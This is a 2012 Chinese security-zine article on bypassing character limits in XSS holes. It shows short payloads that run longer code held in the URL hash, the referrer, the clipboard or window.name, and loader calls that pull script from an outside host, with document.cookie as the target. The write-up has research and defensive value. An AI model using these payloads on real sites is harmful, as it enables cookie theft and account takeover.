[PSTZine 0x03][0x04][突破XSS字符数量限制执行任意JS代码]

admin · 发表于 2012-9-13 17:10:17

==Ph4nt0m Security Team==

                     Issue 0x03, Phile #0x04 of 0x07

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|=-------------------=[ 突破XSS字符数量限制执行任意JS代码 ]=-----------------=|
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|=------------------------=[    By luoluo    ]=---------------------------=|
|=----------------------=[ <luoluo#ph4nt0m.org>  ]=------------------------=|
|=----------------------=[ <luoluo#80sec.com> ]=------------------------=|
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[目录]

1. 综述
2. 突破方法
  2.1 利用HTML上下文中其他可以控制的数据
  2.2 利用URL中的数据
  2.3 JS上下文的利用
  2.4 利用浏览器特性在跨域的页面之间传递数据
2.4.1 document.referrer
2.4.2 剪切板clipboardData
2.4.3 窗口名window.name
  2.5 以上的方式结合使用
3. 后记
4. 参考

一、综述

有些XSS漏洞由于字符数量有限制而没法有效的利用，只能弹出一个对话框来YY，本文主
要讨论如何突破字符数量的限制进行有效的利用，这里对有效利用的定义是可以不受限制执
行任意JS。对于跨站师们来说，研究极端情况下XSS利用的可能性是一种乐趣；对于产品安全
人员来说，不受限制的利用的可能是提供给开发人员最有力的证据，要求他们重视并修补这些
极端情况下的XSS漏洞。

突破的方法有很多种，但是突破的思想基本都一样，那就是执行可以控制的不受限制的数
据。

二、突破方法

2.1 利用HTML上下文中其他可以控制的数据

如果存在XSS漏洞的页面HTML上下文还有其他可以控制的数据，那么可以通过JS获得该数
据通过eval或者document.write/innerHTML等方式执行该数据，从而达到突破XSS字符数量限
制的目的，下面例子假设div元素的内部数据可以控制，但是该数据已经被HTML编码过：

--code-------------------------------------------------------------------------
<div id="x">可控的安全的数据</div>
<limited_xss_point>alert(/xss/);</limited_xss_point>
-------------------------------------------------------------------------------

由于XSS点有字符数量限制，所以这里只能弹框，那么我们可以把XSS的Payload通过escape
编码后作为安全的数据，输出到可控的安全数据位置，然后在XSS点执行可控的安全数据：

--code-------------------------------------------------------------------------
<div id="x">alert%28document.cookie%29%3B</div>
<limited_xss_point>eval(unescape(x.innerHTML));</limited_xss_point>
-------------------------------------------------------------------------------

长度：28 + len(id)

由于x内部的数据没有字符数量的限制，那么从而可以达到执行任意JS的目的。

2.2 利用URL中的数据

如果页面里不存在上一节所说的可控HTML上下文数据怎么办？有些数据是我们无条件可
控的，第一个想到的就是URL，通过在URL的尾部参数构造要执行的代码，然后在XSS点通过
document.URL/location.href等方式获得代码数据执行，这里假设代码从第80个字符开始到
最后：

--code-------------------------------------------------------------------------
http://www.xssedsite.com/xssed.php?x=1....&alert(document.cookie)

<limited_xss_point>eval(document.URL.substr(80));</limited_xss_point>
-------------------------------------------------------------------------------

长度：30

--code-------------------------------------------------------------------------
<limited_xss_point>eval(location.href.substr(80));</limited_xss_point>
-------------------------------------------------------------------------------

长度：31

上面两个例子对比，前一个例子更短，那么有没有办法更短呢？通过查阅JavaScript手册
的String的方法可以发现，切割字符串有一个更短的函数slice，5个字符比substr还要短一个
字符：

--code-------------------------------------------------------------------------
<limited_xss_point>eval(document.URL.slice(80));</limited_xss_point>
-------------------------------------------------------------------------------

长度：29

--code-------------------------------------------------------------------------
<limited_xss_point>eval(location.href.slice(80));</limited_xss_point>
-------------------------------------------------------------------------------

长度：30

那么还有没有办法更短呢？答案是YES，查阅一下MSND里的location对象的参考你会发现
有个hash成员，获取#之后的数据，那么我们可以把要执行的代码放在#后面，然后通过hash获
得代码执行，由于获得的数据是#开头的，所以只需要slice一个字符就可以拿到代码：

--code-------------------------------------------------------------------------
http://www.xssedsite.com/xssed.php?x=1....#alert(document.cookie)

<limited_xss_point>eval(location.hash.slice(1));</limited_xss_point>
-------------------------------------------------------------------------------

长度：29

这样比上面的例子又少了一个字符。那么还可以更短么？

2.3 JS上下文的利用

为什么我如此痛苦？那是因为JS和DHTML的方法名和属性名太长！瞧瞧这些“糟糕”的名字：

String.fromCharCode
getElementById
getElementsByTagName
document.write
XMLHTTPRequest
...

就连开发人员也不愿意多写一次，于是很多站点的前端开发工程师们封装了各式各样的
简化函数，最经典的例子就是：

--code-------------------------------------------------------------------------
function $(id) {
return document.getElementById(id);
}
-------------------------------------------------------------------------------

这些函数同样可以为我们所用，用来缩短我们的Payload的长度。不过上面这个例子不是
最短的，IE和FF都支持直接通过ID来引用一个元素。有些函数可以直接用来加载我们的代码：

--code-------------------------------------------------------------------------
function loads(url) {
...
document.body.appendChild(script);
}

<limited_xss_point>loads('http://xxx.com/x');</limited_xss_point>
-------------------------------------------------------------------------------

长度：len(函数名) + len(url) + 5

当然你的url则是越短越好哦！有些函数则会帮我们去作HTTP请求：

--code-------------------------------------------------------------------------
function get(url) {
...
return x.responseText;
}

<limited_xss_point>eval(get('http://xxx.com/x'));</limited_xss_point>
-------------------------------------------------------------------------------

长度：len(函数名) + len(url) + 11

道哥则提出有些流行的JS的开发框架也封装了大量功能强劲的库可供调用，比如：

JQuery
YUI
...

综上所述，我们可以通过分析JS上下文现有的框架、对象、类、函数来尽可能的缩短我
们的代码，进而突破长度限制执行任意代码。

2.4 利用浏览器特性在跨域的页面之间传递数据

虽然有同源策略的限制，浏览器的功能设计上仍然保留了极少数的可以跨域传递数据的
方法，我们可以利用这些方法来跨页面传递数据到被XSS的域的页面去执行。

2.4.1 document.referrer

攻击者可以在自己的域上构造页面跳转到被XSS页面，在自己域上的页面的url里带了
Payload，被XSS的页面通过referrer获取相关代码执行。

攻击者构造的的页面：

--code-------------------------------------------------------------------------
http://www.a.com/attack.html?...&alert(document.cookie)

<a href="http://www.xssedsite.com/xssed.php">go</a>
-------------------------------------------------------------------------------

被XSS的页面：

--code-------------------------------------------------------------------------
<limited_xss_point>eval(document.referrer.slice(80));</limited_xss_point>
-------------------------------------------------------------------------------

长度：34

这种方式利用上还有一些问题，如果使用location.href或者<meta http-equiv=refresh>
实现的自动跳转，在IE里被攻击页面拿不到referrer，而FF则可以。QZ建议用表单提交的方式
比较好，我测试了下，果然通用，FF/IE都可以成功获取referrer：

--code-------------------------------------------------------------------------
<script type="text/javascript">

</script>
-------------------------------------------------------------------------------

2.4.2 剪切板clipboardData

攻击者在自己域的页面上通过clipboardData把Payload写入剪切板，然后在被XSS页面获
取并执行该数据。

攻击者构造的页面：

--code-------------------------------------------------------------------------
<script>
clipboardData.setData("text", "alert(document.cookie)");
</script>
-------------------------------------------------------------------------------

被XSS的页面：

--code-------------------------------------------------------------------------
<limited_xss_point>eval(clipboardData.getData("text"));</limited_xss_point>
-------------------------------------------------------------------------------

长度：36

这种方式只适用于IE系列，并且在IE 7及以上版本的浏览器会有安全提示。

2.4.3 窗口名window.name

这是一个很少被用到的特性，在研究同源策略时就注意过这个属性，它是可以跨域传递数
据的，但是这个特性本身并不是漏洞。

如果仔细研究过window.open这个方法，会发现一个不常用的第二个参数，这个则是设置
窗口名，用于指定target窗口，如果不存在的话则创建新的子窗口，并设置子窗口的name。当
我想打搜window.open时一阵狂喜，喜的是window.name这个属性是window对象的成员，那么只
需要name就可以引用该属性，但是测试时却发现window.open方法对于第二个参数进行了严格
的检查，只允许数字字母以及下划线的组合，禁止特殊字符进入，那么这种方式就没法写入JS
或者VBS。

但是经过测试发现我们可以通过window.name直接设置当前窗口的name则没有特殊字符
限制，然后直接跳转到被XSS的页面，通过name属性传递Payload过去执行：

攻击者构造的页面：

--code-------------------------------------------------------------------------
<script>
window.name = "alert(document.cookie)";
locaton.href = "http://www.xssedsite.com/xssed.php";
</script>
-------------------------------------------------------------------------------

被XSS的页面：

--code-------------------------------------------------------------------------
<limited_xss_point>eval(name);</limited_xss_point>
-------------------------------------------------------------------------------

长度：11

这个长度可以说是短到极致了，并且这个方法IE/FF都可以很好的支持，是个非常有意思
的技巧，这个技巧的发现也是促成本文的直接原因。

window.name的特性还有其他一些有趣的应用方式，这个方面的话题以后可以专门写篇文
章来探讨。

2.5 以上的方式结合使用

以上的方式结合使用，一般情况下会使得长度更长，但是也不排除在某些变态的过滤情况
中，灵活的组合上面的方法可能会起到奇效。

三、后记

JS非常灵活，所以方法肯定不限于这些，在具体的问题的分析和研究中，可以获得很多的
乐趣，并且对JS以及浏览器本身有了更深的认识，如果您有巧妙的技巧或者新奇的构思，欢迎
和我交流！

感谢axis*刺*大风*道哥、rayh4c*QZ*茄子为本文提出的宝贵意见！

本文是纯粹的技术探讨，请勿用于非法用途！

四、参考

http://msdn.microsoft.com/en-us/library/aa155073.aspx

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